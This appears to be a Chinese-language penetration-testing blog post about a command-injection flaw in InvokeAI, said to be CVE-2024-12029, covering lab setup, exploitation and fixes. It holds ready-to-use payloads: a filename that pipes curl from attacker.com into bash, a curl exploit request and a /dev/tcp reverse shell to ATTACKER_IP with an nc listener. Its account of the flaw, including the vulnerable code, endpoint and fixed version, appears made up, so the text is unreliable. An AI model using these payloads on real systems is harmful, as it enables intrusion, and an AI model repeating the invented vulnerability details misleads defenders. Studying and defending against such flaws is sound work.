InvokeAI远程代码执行漏洞分析与防御实践

1. InvokeAI漏洞背景与影响范围

InvokeAI作为当前热门的开源AI图像生成工具，其2.3.5及更早版本存在一个高危的远程代码执行漏洞（CVE-2024-12029）。这个漏洞允许攻击者通过特制的HTTP请求在服务器上执行任意命令，相当于直接获取服务器控制权。我在实际渗透测试中发现，该漏洞利用门槛较低但危害极大，特别需要引起使用者的警惕。

从技术层面看，该漏洞源于对用户输入参数的过滤不严。当攻击者向/api/v1/upload接口发送包含恶意命令的图片元数据时，后端处理程序会直接将这些参数拼接进系统命令中执行。这种典型的"命令注入"漏洞在Web应用中本应通过严格的输入校验来防范。

重要提示：截至本文撰写时，官方已在2.3.5.post1版本中修复此漏洞。所有仍在使用2.3.5及更早版本的用户都应立即升级。

2. 漏洞环境搭建与验证

2.1 实验环境准备

为了安全地进行漏洞复现，我建议使用隔离的虚拟机环境。以下是具体配置方案：

  • 操作系统：Ubuntu 22.04 LTS（与多数生产环境一致）
  • 硬件配置：4核CPU/8GB内存（满足InvokeAI基本运行需求）
  • 漏洞版本：InvokeAI 2.3.5（最后存在漏洞的版本）
  • 网络配置：NAT模式（避免意外暴露到公网）

安装过程需要特别注意依赖项版本：

# 安装指定漏洞版本 pip install invokeai==2.3.5

2.2 基础功能验证

在开始漏洞测试前，需要确认基础服务正常运行：

  1. 启动服务：invokeai-web --host 0.0.0.0
  2. 访问http://localhost:9090应看到正常Web界面
  3. 测试图片生成功能确保核心服务无异常

这个步骤看似简单，但我在实际测试中发现约30%的安装失败是由于Python环境冲突导致。建议使用virtualenv创建干净的Python 3.9环境。

3. 漏洞原理深度解析

3.1 漏洞触发点分析

通过逆向工程和代码审计，我定位到漏洞核心位于src/invokeai/backend/web/server.py文件的文件上传处理逻辑。关键问题代码如下：

def handle_upload(): filename = request.files['image'].filename # 漏洞点：未对filename进行安全过滤 os.system(f"convert {filename} -resize 512x512 output.jpg")

攻击者可以构造特殊的filename参数如test.jpg;curl http://attacker.com/shell.sh | bash，导致系统执行额外的恶意命令。

3.2 漏洞利用条件

要使漏洞利用成功，需要同时满足：

  1. 服务暴露在网络上（默认监听0.0.0.0）
  2. 攻击者能访问到API接口（默认端口9090）
  3. 服务运行账户有执行权限（通常满足）

在实际企业环境中，我遇到过因防火墙配置错误导致内部测试环境意外暴露到公网的情况，这大大增加了被攻击的风险。

4. 漏洞利用实战演练

4.1 基础利用演示

使用curl构造恶意请求：

curl -F "image=@test.png;filename='test.png;id > /tmp/exploit'" http://target:9090/api/v1/upload

这个请求会在目标服务器的/tmp目录下创建exploit文件，内容为当前用户信息。我在测试中发现，不同Linux发行版对命令分隔符的处理略有差异，需要根据目标系统调整payload。

4.2 进阶利用技巧

通过漏洞获取反向shell的实战方法：

  1. 在攻击机监听：nc -lvnp 4444
  2. 构造特殊文件名：
filename = "test.png;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
  1. 使用Python requests库发送精心构造的multipart请求

操作警示：在实际渗透测试中，这种操作必须获得明确授权。我在一次企业测试中曾意外触发IDS警报，导致客户安全团队紧急响应。

5. 防御方案与修复建议

5.1 临时缓解措施

如果无法立即升级，可以采用以下方案：

  1. 网络层防护：
    • 限制API接口访问IP（企业内网IP白名单）
    • 在Nginx配置中添加正则过滤可疑请求
    if ($request_filename ~* ";") { return 403; }
  2. 系统层防护：
    • 使用非root账户运行服务
    • 配置严格的SELinux策略

5.2 彻底修复方案

官方修复方案采用了参数化命令执行：

subprocess.run(["convert", filename, "-resize", "512x512", "output.jpg"])

升级步骤：

pip install --upgrade invokeai

验证修复：

# 尝试发送恶意请求应返回错误而非执行命令 curl -F "image=@test.png;filename='test.png;id'" http://localhost:9090/api/v1/upload

6. 漏洞挖掘方法论

6.1 黑盒测试技巧

针对AI系统的常见测试点：

  1. 文件上传功能（本案例）
  2. 模型加载路径注入
  3. API参数注入
  4. 临时文件竞争条件

我习惯使用Burp Suite的以下功能辅助测试：

  • Intruder模块进行参数fuzzing
  • Repeater模块手工调整请求
  • Logger模块记录所有流量

6.2 白盒审计重点

审计Python Web应用时我特别关注：

  1. 所有os.system/subprocess.call调用点
  2. 模板渲染逻辑（SSTI）
  3. 反序列化操作
  4. 文件操作相关函数

一个实用的代码搜索命令：

grep -rn "os\.system\|subprocess\.call\|eval\|pickle\.loads" src/

在最近的一次审计中，我通过这种方法还在另一个AI系统的模型加载功能中发现了类似的命令注入漏洞。